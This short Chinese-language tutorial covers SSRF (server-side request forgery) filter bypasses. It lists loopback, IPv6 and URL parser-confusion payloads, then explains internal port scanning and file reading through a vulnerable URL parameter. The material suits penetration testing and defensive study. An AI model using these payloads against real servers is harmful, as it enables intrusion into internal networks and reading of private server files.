ssrf绕过

当涉及到SSRF（服务器端请求伪造）时，可以使用以下5种有效负载绕过防御：

1）使用CIDR绕过SSRF：

http://127.127.127.127
http://127.0.0.0

2）使用稀有地址绕行：

http://127.1

http://0

3）使用技巧组合绕过：

http://1.1.1.1&@2.2.2.2# @3.3.3.3/
urllib: 3.3.3.3

4）绕过弱解析器：

http://127.1.1.1:80\@127.2.2.2:80/

5）用[::]绕过localhost：

http://[::]:80/
http://0000::1:80/

让我们提醒自己什么是SSRF漏洞，以及我们可以如何处理这些漏洞。通常，SSRF允许我们：

• 在远程服务器上运行的回送接口上的访问服务
• 扫描内部网络可能与发现的服务进行交互
• 使用file://协议处理程序读取服务器上的本地文件
• 横向移动/旋转进入内部环境

如何找到SSRF？当目标Web应用程序允许我们访问外部资源时，例如从外部URL加载的配置文件图像（在第三方网站上运行），我们可以尝试加载易受攻击的Web应用程序可访问的内部资源。例如：

1. 我们发现以下URL有效：https://example.com:8000/page?user=&link=https://127.0.0.1:8000
2. 然后，我们可以尝试不同的端口来运行入侵者攻击（Burp Suite），从而有效地对主机进行端口扫描
3. 我们还可以尝试扫描专用IP（例如192.168.xx）并发现内部网络中存在的IP